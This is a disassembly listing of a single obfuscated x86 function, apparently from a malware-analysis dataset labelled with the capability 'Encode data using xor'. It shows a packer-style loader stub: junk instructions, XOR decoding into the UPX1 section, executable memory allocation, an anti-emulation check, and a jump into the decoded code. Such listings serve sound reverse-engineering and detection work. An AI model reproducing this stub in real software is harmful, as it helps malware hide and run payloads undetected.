Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x33fd90c4
inc eax
and eax, edx
popal
sub edx, 0xaa635395
or edx, edx
add eax, 1
mov ebx, 0
mov eax, edi
sub ecx, 0xb3da01e0
add esi, esi
mov edx, eax
mov ecx, esi
or ecx, esi
mov edi, edx
sub ecx, 0x23b74ad7
dec esi
add esi, ecx
inc ebx
or esi, ecx
or esi, esi
cmp ebx, 0x10065e3
jne 0x47afd5
or ecx, esi
sub ecx, 0x5d790d1
cmp ebx, 0x10065e3
je 0x47b018
mov eax, 0
mov dword [eax], ecx
or esi, esi
sub esi, 0xad5f2252
sub ecx, esi
add eax, 0x294749cd
add edx, 0x3190dbdb
add eax, edx
mov ebx, 0x47ada2
not eax
or esi, eax
sub eax, 0xbf8c32c6
mov ecx, 0x47af96
mov eax, 0xd4b6a8e6
mov esi, edi
mov eax, esi
mov edx, dword [ebx]
sub eax, 1
dec esi
sub eax, 0xeb3a2124
and edx, 0xff
or esi, eax
not esi
xor dword [ecx], edx
mov edi, esi
add edi, eax
add esi, eax
inc ecx
or eax, eax
sub edi, 0x70a44f29
inc ebx
sub esi, eax
and esi, edi
sub esi, 0xfe68ecdf
cmp ecx, entry0
jl 0x47b04d
sub eax, 0x2f2d36e7
add edi, 0xace2dbc1
not esi
or eax, edi
add eax, esi
sub eax, edi
dec ebx
and edi, ecx
mov esi, 0x47af9a
inc edi
dec edx
mov edi, ecx
mov esi, dword [esi]
mov ecx, edi
add ebx, 1
mov esi, dword [esi]
add edx, 0x3ac982ee
dec edi
push esi
and ecx, ecx
mov edi, 0x39406a27
or edx, ebx
mov esi, 0x47af96
add edx, 0xccb52dea
mov edi, ebx
dec edi
mov esi, dword [esi]
sub ebx, 0x4529bf21
add edx, ecx
mov esi, dword [esi]
add edi, ecx
and edx, ecx
sub ebx, 0x3185c2d4
push 0x47af9e
sub ecx, ebx
add ebx, edi
call esi
not edx
and ebx, ecx
add edx, 0x36556b97
pop esi
and ecx, ecx
dec ecx
push 0x47afab
add ebx, ecx
and ebx, ebx
not ebx
push eax
and ebx, ecx
mov ecx, ebx
call esi
add edx, 0xa5d4706
inc edx
or ecx, ebx
sub esp, 4
mov dword [esp], 0x40
mov ecx, 0x7dea15e4
and edx, edi
mov ebx, 0x92e3bdd7
push 0x3000
sub ebx, edi
or edi, ebx
push 0x20000f64
mov ebx, ecx
sub ecx, edi
push 0
sub ebx, 1
inc ecx
call eax
dec edx
mov ecx, 0x6c0ef63
not edx
add eax, 0x20000ede
mov ebx, edx
not ecx
sub edx, 0x2bfdef18
mov esi, 0x89d220f4
mov ebx, 0xae04ba9a
mov ecx, edx
add edi, edx
mov dword [eax], esi
or ecx, ebx
or ecx, edx
mov esi, dword [eax]
inc ebx
add ebx, ecx
cmp esi, 0x89d220f4
je 0x47b199
mov edx, 0
mov bl, byte [edx]
mov edi, 0x4b8329c
sub edi, edx
add ecx, 0xd84b3d4f
sub edi, 0xaaef56a4
add edx, 0xbe6ce8bf
and ebx, edi
inc eax
inc edx
sub eax, edx
mov ecx, section.UPX1
mov eax, edx
sub eax, edx
mov edx, eax
mov esi, 0x47ada1
inc edx
add eax, 1
add edx, eax
mov ebx, 0
mov edx, 0xf108be1
not edx
mov eax, 0x4fa4241a
mov edi, 0x47ada2
sub edx, eax
sub eax, edx
lea edi, [edi + ebx]
sub edx, 0x937d71f7
sub edx, eax
and eax, edx
mov edi, dword [edi]
dec edx
and edx, edx
and edi, 0xff
add eax, 1
sub edx, 0x72c33411
inc ebx
add eax, edx
mov edx, eax
cmp ebx, 0x1f4
jne 0x47b221
mov ebx, 0
mov eax, edx
or eax, edx
add edx, 0xd2591cf8
add eax, 0x28aa084d
xor dword [ecx], edi
or edx, edx
not edx
mov eax, edx
add ecx, 2
mov eax, edx
add eax, 0xb7e32dc2
dec eax
cmp ecx, esi
jl 0x47b1e2
sub edx, eax
add edx, 0xe4589d51
sub edx, 1
or edx, edx
or eax, edx
add edx, edx
mov ecx, section.UPX1
and eax, eax
sub eax, 0xb49248c5
mov esi, section.UPX1
sub eax, 1
and eax, eax
mov edi, 0x47ada1
and ebx, ebx
and ebx, eax
inc ebx
mov edx, 0
mov ebx, eax
add eax, eax
dec ebx
mov dl, byte [esi]
dec eax
sub ebx, eax
or ebx, ebx
mov byte [ecx], dl
dec ebx
dec eax
inc ecx
add ebx, ebx
inc eax
add esi, 2
and eax, ebx
add ebx, eax
mov eax, 0x844f4cf1
cmp esi, edi
jle 0x47b292
dec eax
not ebx
sub ebx, 0x2626d02d
inc eax
and edx, eax
or eax, eax
push 0x45e6a0
sub eax, edx
mov edx, 0x334743b
ret